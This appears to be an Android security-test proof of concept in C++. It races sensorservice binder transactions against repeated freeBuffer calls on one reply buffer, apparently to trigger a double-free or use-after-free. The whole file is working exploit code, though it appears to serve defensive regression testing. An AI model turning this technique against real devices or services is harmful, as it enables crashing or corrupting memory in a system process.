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184 lines
7.4 KiB
184 lines
7.4 KiB
/**
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* Copyright (C) 2019 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#include "../includes/common.h"
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#if _64BIT
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#include <cutils/ashmem.h>
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#include <dlfcn.h>
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#include <fcntl.h>
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#include <linux/futex.h>
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#include <pthread.h>
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#include <sensor/ISensorEventConnection.h>
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#include <sensor/ISensorServer.h>
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#include <sensor/Sensor.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/mman.h>
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#include <sys/prctl.h>
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#include <sys/stat.h>
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#include <sys/syscall.h>
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <sys/xattr.h>
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#include <utils/Vector.h>
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#include "IPCThreadState.h"
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#include "binder/IServiceManager.h"
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using namespace android;
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#define SLEEP 0
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#define ATTACK 1
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String8 packageName("hexb1n");
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String16 opPackageName("");
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time_t test_started;
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static volatile int attack_signal;
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int my_futex(volatile int *uaddr, int op, int val,
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const struct timespec *timeout, int *uaddr2, int val3) {
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return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
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}
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static void *bcfree_helper(void *p) {
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(void) p;
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Parcel data, reply;
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sp<IServiceManager> sm = defaultServiceManager();
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sp<IBinder> binder = sm->getService(String16("sensorservice"));
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sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
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sp<ISensorEventConnection> sensorEventConnection =
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sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
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opPackageName);
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while (timer_active(test_started)) {
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Parcel data, reply;
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data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
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my_futex(&attack_signal, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
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usleep(100);
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IInterface::asBinder(sensorEventConnection)
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->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
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}
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return NULL;
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}
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static void *bcfree(void *p) {
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(void) p;
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Parcel data, reply;
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sp<IServiceManager> sm = defaultServiceManager();
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sp<IBinder> binder = sm->getService(String16("sensorservice"));
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sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
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sp<ISensorEventConnection> sensorEventConnection =
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sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
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opPackageName);
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while (timer_active(test_started)) {
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Parcel data, reply;
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data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
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{
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IInterface::asBinder(sensorEventConnection)
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->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
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const uint8_t *rmData = reply.data();
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
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}
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attack_signal = ATTACK;
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my_futex(&attack_signal, FUTEX_WAKE_PRIVATE, 1, NULL, NULL, 0);
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usleep(100);
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{
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Parcel data, reply;
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IInterface::asBinder(sensorEventConnection)
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->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
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for (int i = 0; i < 20; i++)
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IInterface::asBinder(sensorEventConnection)
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->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
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}
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attack_signal = SLEEP;
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}
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return NULL;
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}
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int main() {
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pthread_t t1, t2, t3;
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test_started = start_timer();
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pthread_create(&t1, NULL, bcfree_helper, NULL);
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pthread_create(&t2, NULL, bcfree, NULL);
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pthread_create(&t3, NULL, bcfree_helper, NULL);
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pthread_join(t1, NULL);
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pthread_join(t2, NULL);
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pthread_join(t3, NULL);
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return EXIT_SUCCESS;
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}
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#else
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int main() {
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// do nothing on 32-bit because we can't compile on 32-bit and we need a
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// binary to push or the filepusher will break on 32-bit.
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}
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#endif
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